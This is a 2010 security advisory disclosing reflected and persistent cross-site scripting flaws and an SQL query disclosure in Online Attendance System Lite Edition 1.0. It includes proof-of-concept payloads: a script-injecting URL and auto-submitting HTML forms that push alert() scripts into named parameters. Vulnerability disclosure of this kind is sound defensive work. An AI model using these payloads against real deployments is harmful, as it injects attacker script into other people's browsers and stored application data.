Online Attendance System: Lite Edition 1.0 multiple Cross-Site Scripting (XSS) vulnerabilities

Summary

There are multiple Cross-Site Scripting (XSS) vulnerabilities in Online Attendance System: Lite Edition 1.0 which may allow an attacker to take control of the software.

Software

Software Link: Online Attendance System: Lite Edition 1.0

Vulnerable Version: <= 1.0

Vendor Notification: support@onlinetechtools.com at 2010-11-05 3:55AM

# No reply from vendor by 2010-11-15 # Advisory released.

Vulnerabilities

# Information Disclosure # SQL Query Disclosure # 1.0 # Unpatched

http://www.onlinetechtools.com/demo/oasyslite/update.asp

# Reflected Cross-Site Scripting (XSS) # 1.0 # Unpatched

The vulnerability exists due to failure in "reports.asp" to properly sanitize user-supplied input in the "Period" parameter.

http://www.onlinetechtools.com/demo/oasyslite/reports.asp?Show=Today&Period=<script>alert(1)</script>

The vulnerability exists due to failure in "check.asp" to properly sanitize user-supplied input in the "Absent", "Teacher" and "lunCount" parameters.

The following proof of concept is available:

<form action="http://www.onlinetechtools.com/demo/oasyslite/check.asp" method="post" name="add">
<input type="hidden" name="period" value="1">
<input type="text" name="Absent" value="<script>alert(1)</script>">
<input type="text" name="Teacher" value="<script>alert(2)</script>">
<input type="text" name="teacherLunch" value="1">
<input type="text" name="lunCount" value="<script>alert(3)</script>">
<input type="submit" name="go" value="go">
</form>
<script>document.add.submit();</script>

# Persistant Cross-Site Scripting (XSS) # 1.0 # Unpatched

The vulnerability exists due to failure in "update.asp" to properly sanitize user-supplied input in the "Absent", "Teacher" and "lunCount" parameters.

The following proof of concept is available:

<form action="http://www.onlinetechtools.com/demo/oasyslite/update.asp" method="post" name="add">
<input type="hidden" name="period" value="1">
<input type="text" name="Absent" value="<script>alert(1)</script>">
<input type="text" name="Teacher" value="<script>alert(2)</script>">
<input type="text" name="teacherLunch" value="1">
<input type="text" name="lunCount" value="<script>alert(3)</script>">
<input type="submit" name="go" value="go">
</form>
<script>document.add.submit();</script>

View XSS payload :

http://www.onlinetechtools.com/demo/oasyslite/reports.asp?Show=Today&Period=1

Reference

# OWASP: Cross-Site Scripting (XSS)

# OWASP: Information Disclosure

Appendix

[TXT] Online Attendance System - Lite Edition 1.0 multiple Cross-Site Scripting (XSS) vulnerabilities